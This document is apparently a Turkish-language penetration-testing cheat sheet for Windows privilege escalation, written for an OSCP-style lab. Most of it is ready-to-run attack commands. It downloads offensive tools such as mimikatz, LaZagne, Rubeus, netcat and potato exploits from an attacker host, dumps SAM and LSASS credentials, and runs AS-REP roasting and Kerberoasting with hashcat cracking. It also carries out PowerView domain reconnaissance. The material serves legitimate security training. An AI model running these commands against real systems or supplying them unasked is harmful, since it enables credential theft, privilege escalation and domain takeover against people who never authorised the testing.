Ana içeriğe geç

Windows AIO

Initial Enum:

whoami /all
hostname
ipconfig /all
cmdkey /list
net user
net localgroup
Get-LocalGroup -SID 'S-1-5-32-544'        # Administrator grubu
# Sistem
Get-CimInstance Win32_OperatingSystem | Select Caption,Version,BuildNumber,OSArchitecture
# Domain
Get-CimInstance Win32_ComputerSystem | Select-Object Name,Domain,PartOfDomain
# Servisler
Get-CimInstance Win32_Service |  Select-Object Name,StartName,State,StartMode,PathName
# Scheduled Tasks
Get-ScheduledTask |  Select-Object TaskName,State,Principal,Actions
# PowerShell History
(Get-PSReadLineOption).HistorySavePath
# Localhost / Listening Ports
Get-NetTCPConnection -State Listen -ErrorAction SilentlyContinue

#systeminfo
#route print
#netstat -ano
#schtasks /query /fo LIST /v

{% hint style="info" %} WINDOWS: whoami /all → /priv → services → tasks → creds → registry {% endhint %}

Upload Listesi:

# Kali Ipsini güncelle: 192.168.1.1
curl.exe -fL --max-time 60 -o "./CX_PSHistory.ps1" "http://192.168.1.1:9696/windows/CX_PSHistory.ps1"
curl.exe -fL --max-time 60 -o "./privesccheck.ps1" "http://192.168.1.1:9696/windows/privesccheck.ps1"
curl.exe -fL --max-time 60 -o "./winpeas.exe" "http://192.168.1.1:9696/windows/winpeas-x64.exe"
curl.exe -fL --max-time 60 -o "./mimi.exe" "http://192.168.1.1:9696/windows/mimikatz-x64.exe"
curl.exe -fL --max-time 60 -o "./laz.exe" "http://192.168.1.1:9696/windows/LaZagne.exe"  #.\laz.exe all
curl.exe -fL --max-time 60 -o "./powerup.ps1" "http://192.168.1.1:9696/windows/powerup.ps1"
curl.exe -fL --max-time 60 -o "./powerview.ps1" "http://192.168.1.1:9696/windows/powerview.ps1"
curl.exe -fL --max-time 60 -o "./sharphound.exe" "http://192.168.1.1:9696/windows/sharphound.exe"
curl.exe -fL --max-time 60 -o "./powercat.ps1" "http://192.168.1.1:9696/windows/powercat.ps1"
curl.exe -fL --max-time 60 -o "./rubeus.exe" "http://192.168.1.1:9696/windows/rubeus.exe"
curl.exe -fL --max-time 60 -o "./ligolo-agent.exe" "http://192.168.1.1:9696/windows/ligolo-agent.exe"
curl.exe -fL --max-time 60 -o "./ps.exe" "http://192.168.1.1:9696/windows/printspoofer-x64.exe"
curl.exe -fL --max-time 60 -o "./gp.exe" "http://192.168.1.1:9696/windows/GodPotato-NET4.exe"
curl.exe -fL --max-time 60 -o "./coep.exe" "http://192.168.1.1:9696/windows/CoercedPotato_x64.exe"
curl.exe -fL --max-time 60 -o "./nc.exe" "http://192.168.1.1:9696/windows/nc.exe"

CX_PSHistory

# Scriptin bulunduğu Windows klasöründe:
# Bulunan dosyaların içeriğini satır numarasıyla göster:
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\CX_PSHistory.ps1 -ShowContent

PrivescCheck

# Scriptin bulunduğu Windows klasöründe:
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command ". .\privesccheck.ps1; Invoke-PrivescCheck"

# Mevcut oturuma yükleyip daha sonra tekrar kullanmak için:
# Process kapsamı için execution policy
Set-ExecutionPolicy Bypass -Scope Process -Force
# Scripti mevcut PowerShell oturumuna yükle
. .\privesccheck.ps1
# Temel kontroller
Invoke-PrivescCheck
# Daha kapsamlı kontroller
Invoke-PrivescCheck -Extended -Report TXT -FilePath ".\PrivescCheck_$env:COMPUTERNAME"

Winpeas

# Önerilen aşamalı sıra
.\winpeas.exe systeminfo        # OS, patch, sürüm
.\winpeas.exe userinfo          # Kullanıcı/grup/token
.\winpeas.exe servicesinfo      # Servisler, yetkiler
.\winpeas.exe processinfo       # Process/sahip
.\winpeas.exe applicationsinfo  # Yüklü yazılımlar
.\winpeas.exe networkinfo       # Route, dinleyen portlar
.\winpeas.exe filesinfo         # İlginç dosyalar

{% hint style="info" %}

WinPEAS'i renkli çalıştırma:

reg.exe add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 /f
# Ardından yeni bir CMD veya PowerShell konsolu aç ve tekrar çalıştır.
.\winpeas.exe
# Canli izleme ve kaydetme:
.\winpeas.exe | Tee-Object -FilePath .\winpeas.txt
{% endhint %}

Powerview

# Scripti yükle (dot sourcing)
powershell.exe -NoProfile -ExecutionPolicy Bypass -NoExit -Command ". .\powerview.ps1"

# Yüklendiğini doğrula
Get-Command Get-DomainUser

# Kullanılabilen bütün PowerView komutlarını listele
Get-Command -CommandType Function | Where-Object Name -Match 'Domain|Forest|GPO|LocalAdmin'

Get-Domain
Get-DomainUser
Get-DomainComputer
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Oturum açmış kullanıcı bilgileri:
Get-NetLoggedon -ComputerName "MS01"
# Mevcut hesabın yerel admin erişimi olan makineler:
Find-LocalAdminAccess                #Uzun sürebilir.

# AS-REP Roasting — Preauthentication gerektirmeyen kullanıcılar
Get-DomainUser -KerberosPreuthNotRequired | Select-Object samaccountname,useraccountcontrol

# Kerberoasting — SPN tanımlı kullanıcıları listele:
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname

# Tek komut çalıştırıp çıkmak için:
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command ". .\powerview.ps1; Get-DomainUser | Select-Object samaccountname"

Rubeus

# AS-REP Roasting:
# Uygun bütün domain kullanıcılarını denetle
.\rubeus.exe asreproast

# Hashcat formatında dosyaya kaydet
.\rubeus.exe asreproast /format:hashcat /outfile:.\asrep.txt

# Yalnızca belirli kullanıcı
.\rubeus.exe asreproast /user:svc_backup /format:hashcat /outfile:.\asrep.txt

# Domain ve DC belirt
.\rubeus.exe asreproast /domain:oscp.exam /dc:192.168.1.10 /format:hashcat /outfile:.\asrep.txt
# hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# Kerberoasting:
# Önce uygun hesapların istatistiklerini göster
# Ticket istemez
.\rubeus.exe kerberoast /stats

# Bütün uygun servis hesaplarını denetle
.\rubeus.exe kerberoast

# Hash'leri dosyaya kaydet
.\rubeus.exe kerberoast /outfile:.\kerberoast.txt

# Belirli kullanıcıyı hedefle
.\rubeus.exe kerberoast /user:svc_sql /outfile:.\kerberoast.txt

# Belirli SPN için
.\rubeus.exe kerberoast /spn:MSSQLSvc/MS01.secura.yzx:1433 /outfile:.\sql.txt
# hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# Kerberos ticket'larını inceleme:
# Mevcut kullanıcının ticket bilgileri
.\rubeus.exe klist
# Ticket özet tablosu
.\rubeus.exe triage
# Yalnız LDAP ticket'larını filtrele
.\rubeus.exe triage /service:ldap

Mimikatz

{% hint style="warning" %} Evil-WinRM gibi uzak PowerShell kabuklarında interaktif konsolun giriş/çıkışı düzgün çalışmayabilir.

# Local Admin veya SeDebugPrivilege varsa dene:
# 1. Yerel SAM hesaplarının NTLM hash'leri
.\mimi.exe "privilege::debug" "token::elevate" "token::whoami" "lsadump::sam" "exit"

# 2. LSASS belleğindeki oturum kimlik bilgileri
.\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
{% endhint %}

# Interaktif Kullanim:
.\mimi.exe
# Mimikatz konsolunda:
privilege::debug
sekurlsa::logonpasswords
token::elevate
token::whoami
lsadump::sam
exit

.git islemleri

# .git konumu bilinmiyorsa (C: genel tarama uzun sürebilir)
Get-ChildItem C:\ -Directory -Filter ".git" -Recurse -Force -ErrorAction SilentlyContinue |
  Select-Object -ExpandProperty FullName

# Örnek: C:\staging\.git -> repository kökü C:\staging
git -C C:\staging log --all --oneline
git -C C:\staging log --all --diff-filter=D --name-status
git -C C:\staging show COMMIT_ID

Ayrıntılar: Git — PowerShell/Evil-WinRM ve silinmiş dosyalar · CX_PSHistory · Local Admin sonrası.